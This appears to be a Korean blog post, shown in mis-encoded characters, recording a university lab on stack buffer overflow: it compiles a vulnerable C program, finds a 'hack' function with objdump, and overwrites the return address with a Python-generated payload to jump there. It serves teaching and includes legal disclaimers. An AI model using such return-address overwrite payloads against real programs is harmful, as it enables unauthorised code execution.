! ์ด ํฌ์คํธ์ ๋ด์ฉ์ ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋?
์ปดํจํฐ ํ๋ก๊ทธ๋จ์ด ๊ณ ์ ๋ ๊ธธ์ด์ ๋ฒํผ(buffer)๋ณด๋ค ๋ ๋ง์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ ค๊ณ ํ ๋ ๋ฐ์ํ๋ ๋จ์ํ ํ๋ก๊ทธ๋๋ฐ ์ค๋ฅ์ผ ๋ฟ๋ง ์๋๋ผ, ์ ์์ ์ธ ๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ด์ฉํ์ฌ ์์คํ ์ ๊ณต๊ฒฉํ ์ ์๋ ๊ฐ๋ ฅํ ๋ณด์ ์ทจ์ฝ์ ์ด๋ค
๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ(Buffer Overflow Attack)์ ์ฃผ๋ก ์์คํ ๊ถํ์ ํ์ทจํ๊ฑฐ๋ ์ ์ฑ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด ์ฌ์ฉํ๋ค
๋ฒํผ ์ค๋ฒํ๋ก์ฐ ํ์ผ ์์ฑ
- (์ถ๊ฐ ์์ ) -
gcc ๋ช ๋ น์ด๋ฅผ ์ด์ฉํด ์ปดํ์ผ
์์คํ์ผ์ ์ปดํ์ผํ์ฌ ๋๋ฒ๊น ์ ๋ณด๋ฅผ ํฌํจํ ์คํํ์ผ์ ์์ฑํ๋ค
# gcc -g -o overflow overflow.c
์ต์ | ์ค๋ช |
gcc | GNU Compiler Collection์ C ์ปดํ์ผ๋ฌ๋ฅผ ํธ์ถํ๋ ๋ช ๋ น์ด |
-g | ๋๋ฒ๊น ์ ๋ณด๋ฅผ ํฌํจํ์ฌ ์ปดํ์ผ |
-o | ์ถ๋ ฅ ํ์ผ ์ด๋ฆ |
์คํํ์ผ ๋ด 'hack' ํจ์ ์ฐพ๊ธฐ
์คํํ์ผ์ ๋์ค์ด์ ๋ธ๋ฆฌ ์ฝ๋์์ 'hack' ๋ ์ด๋ธ์ ๊ฒ์ํ๊ณ , ํด๋น ๋ ์ด๋ธ์ด ํฌํจ๋ ์ค๊ณผ ๊ทธ ๋ค์ ๋ ์ค์ ์ถ๋ ฅํ๋ค.
# objdump -D overflow | grep -A2 hack. :
์ต์ | ์ค๋ช |
objdump | ์ค๋ธ์ ํธ ํ์ผ, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ผ, ์คํ ํ์ผ์ ๋ด์ฉ์ ๋ถ์ํ๊ณ ๋์ค์ด์ ๋ธ๋ฆฌํ๋ ์ ํธ๋ฆฌํฐ |
-D | ๋ ์น์ ์ ๋์ค์ด์ ๋ธ๋ฆฌ |
grep | ํ ์คํธ ๊ฒ์ ๋๊ตฌ๋ก, ์ฃผ์ด์ง ํจํด๊ณผ ์ผ์นํ๋ ์ค์ ์ถ๋ ฅ |
-A2 | ๋งค์น๋ ์ค๊ณผ ๋๋ถ์ด ๊ทธ ์ดํ์ N์ค์ ์ถ๊ฐ๋ก ์ถ๋ ฅ |
๊ฒฐ๊ณผ๋ 'hack' ํจ์๊ฐ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์์ธ '0x08048614'์์ ์์ํ๋ฉฐ, ์ฒซ ๋ ๊ฐ์ ์ด์ ๋ธ๋ฆฌ ๋ช ๋ น์ด์ธ 'push %ebp'์ 'mov %esp, %ebp'๋ฅผ ๋ณด์ฌ์ค๋ค
์ค๋ฒํ๋ก์ฐ ๋ฐ์์ํค๊ธฐ
ํ์ด์ฌ์ ์ด์ฉํ์ฌ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์ํฌ ๋ฌธ์์ด ์ ๋ ฅํ๋ค.
# ./overflow 'python -c 'print "A" *23''
์ฝ๋ ๋ถ์
int main(int argc, char* argv[]){
char buf[20];
dumpcode((char*)buf, 32);
...
}
char ํ์ผ๋ก 20byte ํฌ๊ธฐ์ buf๋ผ๋ ๋ฐฐ์ด์ ์ ์ธํ๋ค. ์ด ๋ฐฐ์ด์ ์ ๋ ฅ ๋ฌธ์์ด์ ์ ์ฅํ๊ธฐ ์ํ ๋ฒํผ์ด๋ค.
dumpcode๋ฅผ ์ฌ์ฉํด์ ๋ฒํผ์ ์ด๊ธฐ ์ํ๋ฅผ 32byte๊น์ง ์ถ๋ ฅํ๋ค.
์คํ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด buf ๋ฐฐ์ด์ ์ด 32๋ฐ์ดํธ ๊ฐ์ ์ถ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ์ธ ํ ์ ์๋ค.
์ฒ์ 20๋ฐ์ดํธ๋ buf ๋ฐฐ์ด์ ๋ฌธ์์ด์ด ์ ์ฅ ๋ ๊ฐ์ด๊ณ , ๋ฐ๋ก ๋ค์ 4๋ฐ์ดํธ๋ ํ๋ ์ ํฌ์ธํฐ, ๋ค์ 4๋ฐ์ดํธ๋ ๋ณต๊ท์ฃผ์๊ฐ ์ ์ฅ๋๋ค.
int main(int argc, char* argv[]) {
...
printf("buf: %p\n", (void*)&buf); // ๋ฒํผ์ ์ฃผ์๋ฅผ ์ถ๋ ฅ
strcpy(buf, argv[1]); // argv[1]์ ๋ฌธ์์ด์ ๋ฒํผ์ ๋ณต์ฌ
printf("s\n%s\n", buf); // ๋ฒํผ์ ๋ด์ฉ์ ์ถ๋ ฅ
...
}
int main(int argc, char* argv[]) {
...
dumpcode((char*)buf, 32); // ๋ฒํผ์ ๋ณ๊ฒฝ๋ ์ํ๋ฅผ ์ถ๋ ฅ
return 0; // ํ๋ก๊ทธ๋จ ์ข
๋ฃ
}
์ ์ฝ๋์์ strcpy๋ฅผ ํตํด ์ ๋ ฅ๋ฐ์ ๋ฌธ์์ด(23๊ฐ์ A)์ buf ๋ฐฐ์ด์ ๋ณต์ฌํ ํ ์ถ๋ ฅํด์ฃผ๋ ์ฝ๋์ด๋ค.
์ถ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด, ๋ฌธ์์ด์ด ์ ๋ ฅ๋๊ธฐ ์ ๊ณผ ๋ฌ๋ฆฌ ์ด 23๋ฐ์ดํธ๊ฐ A ๋ฌธ์์ด(์์คํค์ฝ๋ : 0x41)๋ก ์ฑ์์ง ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ฒ์ ์ค์ ํ buf์ ํฌ๊ธฐ์ธ 20byte๊ฐ ์ด๊ณผ๋์ด ๋ค์ ๋ฉ๋ชจ๋ฆฌ ์์ญ๊น์ง ๋ฌธ์๋ก ๋ฎ์ด์ง ๊ฒ์ ๋ณผ ์ ์๋ค.
์ด๋ ๊ฒ ์ค๋ฒํ๋ก์ฐ๋๋ ๊ณผ์ ์ ๋ณผ ์ ์์๋ค.
์ค๋ฒํ๋ก์ฐ ๋ฐ์ ํ hack ํจ์ ์คํ์ํค๊ธฐ
์์์ ํ์ธํ๋ ๊ฒ์ฒ๋ผ ์ฒ์ ์ค์ ํ buf ํฌ๊ธฐ๋ฅผ ์ด๊ณผํ ์ ๋ ฅ์ ์ฃผ์ด ๋ค์ ๋ฉ๋ชจ๋ฆฌ๊ฐ์ ๊ฐ์ ๋ก ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ฎ์ด์์ฐ๊ฒ ๋๋ฉด ์ด ์ค๋ฒํ๋ก์ฐ์ ์ทจ์ฝ์ ์ ์ด์ฉํด ๊ณต๊ฒฉ์ ์งํํ ์ ์๋ค.
# objdump -D overflow | grep -A2 hack. :
# ./overflow 'python -c'print "A" *24 + "\x14\x86\x04\x08"''
์์์ ํ์ธํ๋ hack() ํจ์์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์์ธ ' 0x08048614'์ buf ํฌ๊ธฐ๋ฅผ ์ด๊ณผํ ๋ฌธ์์ด ๋ค์ ๊ฐ์ด ์ ๋ ฅํ์ฌ ํ๋ ์ํฌ์ธํฐ๊ฐ hack()ํจ์๋ฅผ ํธ์ถํ๊ฒ ํ๋ค.
์ด์ฒ๋ผ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ์์ญ์ด ๋ฎ์ด์ฐ์ฌ์ ธ ํ๋ก๊ทธ๋จ์ ๋์์ด ์๊ธฐ์น ์๊ฒ ๋ณ๊ฒฝ๋ ์ ์๋ค. ์ด๋ก ์ธํด ํ๋ก๊ทธ๋จ์ด ์ถฉ๋ํ๊ฑฐ๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ค.
์ด ์ฝ๋๋ ๊ต์ก ๋ชฉ์ ์ผ๋ก ์์ฑ๋์์ง๋ง, ์ค์ ํ๊ฒฝ์์๋ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ์ ๊ฐ์ ๋ณด์ ์ทจ์ฝ์ ์ด ์กด์ฌํ์ง ์๋๋ก ์ ๋ ฅ ๊ฒ์ฆ์ ์ฒ ์ ํ ํด์ผ ํ๋ค.
'๐ฆน Pentesting > ์ค์ต 2019' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ชจ์ํดํน] ์ ๋์ค/๋ฆฌ๋ ์ค ๊ธฐ๋ฐ์ ์ด์์ฒด์ ์นจํฌ (0) | 2025.02.06 |
---|---|
[๋ชจ์ ํดํน] Metasploitable์ ์ด์ฉํ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (0) | 2024.06.03 |
[๋ชจ์ ํดํน] ์๋์ฐ8 ์ฌ๋ถํ ์ ์ ์ฑ์ฝ๋ ์คํ (0) | 2024.03.05 |
[๋ชจ์ ํดํน] ์๋์ฐ8/์๋์ฐ10 OS ์นจํฌ ์์ (0) | 2024.03.05 |
[๋ชจ์ ํดํน] ์๋์ฐ7 OS ์นจํฌ ์์ (1) | 2024.03.05 |